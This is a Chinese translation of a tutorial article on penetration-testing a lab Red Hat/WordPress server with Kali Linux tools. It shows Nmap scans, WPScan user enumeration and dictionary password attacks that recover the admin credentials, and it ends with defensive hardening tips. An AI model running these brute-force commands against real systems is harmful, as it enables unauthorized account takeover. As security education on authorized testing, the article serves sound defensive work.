使用 Linux 安全工具進行滲透測試
眾多被廣泛報道的大型消費企業入侵事件凸顯了系統安全管理的重要性。幸運的是,有許多不同的應用程序可以幫助保護計算機系統。其中一個是 Kali,一個為安全和滲透測試而開發的 Linux 發行版。本文演示了如何使用 Kali Linux 來審視你的系統以發現弱點。
Kali 安裝了很多工具,它們都是開源的,默認情況下安裝了它們會讓事情變得更容易。
(LCTT 譯註:Kali 及其攜帶工具只應該用於對自己擁有合法審查權利的系統和設備,任何未經授權的掃描、滲透和攻擊均是違法的。本文作者、譯者均不承擔任何非授權使用的結果。)
![Kali's tools](/data/attachment/album/202108/05/111432agz4p47zg19878hb.png "Kali's tools")
本文使用的系統是:
kali.usersts.redhat.com
:這是我將用來啟動掃描和攻擊的系統。它擁有 30GB 內存和 6 個虛擬 CPU(vCPU)。vulnerable.usersys.redhat.com
: 這是一個 Red Hat 企業版 Linux 8 系統,它會成為目標。它擁有 16GB 內存和 6 個 vCPU。它是一個相對較新的系統,但有些軟體包可能已經過時。- 這個系統包括
httpd-2.4.37-30.module+el8.3.0+7001+0766b9e7.x86_64
、mariadb-server-10.3.27-3.module+el8.3.0+8972+5e3224e9.x86_64
、tigervnc-server-1.9.0-15.el8_1.x86_64
、vsftpd-3.0.3-32.el8.x86_64
和一個 5.6.1 版本的 WordPress。
我在上面列出了硬體規格,因為一些任務要求很高,尤其是在運行 WordPress 安全掃描程序(WPScan)時對目標系統 CPU 的要求。
探測你的系統
首先,我會在目標系統上進行基本的 Nmap 掃描(你可以閱讀 使用 Nmap 結果幫助加固 Linux 系統 一文來更深入地了解 Nmap)。Nmap 掃描是一種快速的方法,可以大致了解被測系統中哪些埠和服務是暴露的。
![Nmap scan](/data/attachment/album/202108/05/111432djyu3tefh7y1uork.png "Nmap scan")
默認掃描顯示有幾個你可能感興趣的開放埠。實際上,任何開放埠都可能成為攻擊者破壞你網路的一種方式。在本例中,埠 21、22、80 和 443 是不錯的掃描對象,因為它們是常用服務的埠。在這個早期階段,我只是在做偵察工作,儘可能多地獲取有關目標系統的信息。
我想用 Nmap 偵察 80 埠,所以我使用 -p 80
參數來查看埠 80,-A
參數來獲取操作系統和應用程序版本等信息。
![Nmap scan of port 80](/data/attachment/album/202108/05/111432k4gboiqz8jobx1y5.png "Nmap scan of port 80")
關鍵信息有:
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
|_http-generator: WordPress 5.6.1
現在我知道了這是一個 WordPress 伺服器,我可以使用 WPScan 來獲取有關潛在威脅的信息。一個很好的偵察方法是嘗試找到一些用戶名,使用 --enumerate u
告訴 WPScan 在 WordPress 實例中查找用戶名。例如:
┌──(root?kali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --enumerate u
_______________________________________________________________
__ _______ _____
/ / __ / ____|
/ / /| |__) | (___ ___ __ _ _ __ ®
/ / / | ___/ ___ / __|/ _` | '_
/ / | | ____) | (__| (_| | | | |
/ / |_| |_____/ ___|__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.10
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Tue Feb 16 21:38:49 2021
Interesting Finding(s):
...
[i] User(s) Identified:
[+] admin
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] pgervase
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
這顯示有兩個用戶:admin
和 pgervase
。我將嘗試使用密碼字典來猜測 admin
的密碼。密碼字典是一個包含很多密碼的文本文件。我使用的字典大小有 37G,有 3,543,076,137 行。
就像你可以選擇不同的文本編輯器、Web 瀏覽器和其他應用程序 一樣,也有很多工具可以啟動密碼攻擊。下面是兩個使用 Nmap 和 WPScan 的示例命令:
# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=/path/to/passworddb,threads=6 vulnerable.usersys.redhat.com
# wpscan --url vulnerable.usersys.redhat.com --passwords /path/to/passworddb --usernames admin --max-threads 50 | tee nmap.txt
這個 Nmap 腳本是我使用的許多腳本之一,使用 WPScan 掃描 URL 只是這個工具可以完成的許多任務之一。你可以用你喜歡的那一個。
WPScan 示例在文件末尾顯示了密碼:
┌──(root?kali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --passwords passwords.txt --usernames admin
_______________________________________________________________
__ _______ _____
/ / __ / ____|
/ / /| |__) | (___ ___ __ _ _ __ ®
/ / / | ___/ ___ / __|/ _` | '_
/ / | | ____) | (__| (_| | | | |
/ / |_| |_____/ ___|__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.10
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Thu Feb 18 20:32:13 2021
Interesting Finding(s):
......
[+] Performing password attack on Wp Login against 1 user/s
Trying admin / redhat Time: 00:01:57 <==================================================================================================================> (3231 / 3231) 100.00% Time: 00:01:57
Trying admin / redhat Time: 00:01:57 <========================================================= > (3231 / 6462) 50.00% ETA: ??:??:??
[SUCCESS] - admin / redhat
[!] Valid Combinations Found:
| Username: admin, Password: redhat
[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpscan.com/register
[+] Finished: Thu Feb 18 20:34:15 2021
[+] Requests Done: 3255
[+] Cached Requests: 34
[+] Data Sent: 1.066 MB
[+] Data Received: 24.513 MB
[+] Memory used: 264.023 MB
[+] Elapsed time: 00:02:02
在末尾的「找到有效組合」部分包含了管理員用戶名和密碼,3231 行只用了兩分鐘。
我還有另一個字典文件,其中包含 3,238,659,984 行,使用它花費的時間更長並且會留下更多的證據。
使用 Nmap 可以更快地產生結果:
┌──(root?kali)-[~]
└─# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=password.txt,threads=6 vulnerable.usersys.redhat.com
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 20:48 EST
Nmap scan report for vulnerable.usersys.redhat.com (10.19.47.242)
Host is up (0.00015s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
80/tcp open http Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
|_http-server-header: Apache/2.4.37 (Red Hat Enterprise Linux)
| http-wordpress-brute:
| Accounts:
| admin:redhat - Valid credentials <<<<<<<
| pgervase:redhat - Valid credentials <<<<<<<
|_ Statistics: Performed 6 guesses in 1 seconds, average tps: 6.0
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
3306/tcp open mysql MySQL 5.5.5-10.3.27-MariaDB
MAC Address: 52:54:00:8C:A1:C0 (QEMU virtual NIC)
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.68 seconds
然而,運行這樣的掃描可能會在目標系統上留下大量的 HTTPD 日誌消息:
10.19.47.170 - - [18/Feb/2021:20:14:01 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
為了獲得關於在最初的 Nmap 掃描中發現的 HTTPS 伺服器的信息,我使用了 sslscan
命令:
┌──(root?kali)-[~]
└─# sslscan vulnerable.usersys.redhat.com
Version: 2.0.6-static
OpenSSL 1.1.1i-dev xx XXX xxxx
Connected to 10.19.47.242
Testing SSL server vulnerable.usersys.redhat.com on port 443 using SNI name vulnerable.usersys.redhat.com
SSL/TLS Protocols:
SSLv2 disabled
SSLv3 disabled
TLSv1.0 disabled
TLSv1.1 disabled
TLSv1.2 enabled
TLSv1.3 enabled
<snip>
它顯示了有關啟用的 SSL 協議的信息,在最下方,是關於 Heartbleed 漏洞的信息:
Heartbleed:
TLSv1.3 not vulnerable to heartbleed
TLSv1.2 not vulnerable to heartbleed
防禦或減輕攻擊的技巧
有很多方法可以保護你的系統免受大量攻擊。幾個關鍵點是:
- 了解你的系統:包括了解哪些埠是開放的,哪些埠應該開放,誰應該能夠看到這些開放的埠,以及使用這些埠服務的預期流量是多少。Nmap 是了解網路系統的一個絕佳工具。
- 使用當前的最佳實踐: 現在的最佳實踐可能不是未來的最佳實踐。作為管理員,了解信息安全領域的最新趨勢非常重要。
- 知道如何使用你的產品: 例如,與其讓攻擊者不斷攻擊你的 WordPress 系統,不如阻止他們的 IP 地址並限制嘗試登錄的次數。在現實世界中,阻止 IP 地址可能沒有那麼有用,因為攻擊者可能會使用受感染的系統來發起攻擊。但是,這是一個很容易啟用的設置,可以阻止一些攻擊。
- 維護和驗證良好的備份: 如果攻擊者攻擊了一個或多個系統,能從已知的良好和乾淨的備份中重新構建可以節省大量時間和金錢。
- 檢查日誌: 如上所示,掃描和滲透命令可能會留下大量日誌,這表明攻擊者正在攻擊系統。如果你注意到它們,可以採取先發制人的行動來降低風險。
- 更新系統、應用程序和任何額外的模塊: 正如 NIST Special Publication 800-40r3 所解釋的那樣,「補丁通常是減輕軟體缺陷漏洞最有效的方法,而且通常是唯一完全有效的解決方案。」
- 使用供應商提供的工具: 供應商有不同的工具來幫助你維護他們的系統,因此一定要充分利用它們。例如,紅帽企業 Linux 訂閱中包含的 Red Hat Insights 可以幫助你優化系統並提醒你注意潛在的安全威脅。
了解更多
本文對安全工具及其使用方法的介紹只是冰山一角。深入了解的話,你可能需要查看以下資源:
via: https://opensource.com/article/21/5/linux-security-tools
作者:Peter Gervase 選題:lujun9972 譯者:MjSeven 校對:wxy
本文轉載來自 Linux 中國: https://github.com/Linux-CN/archive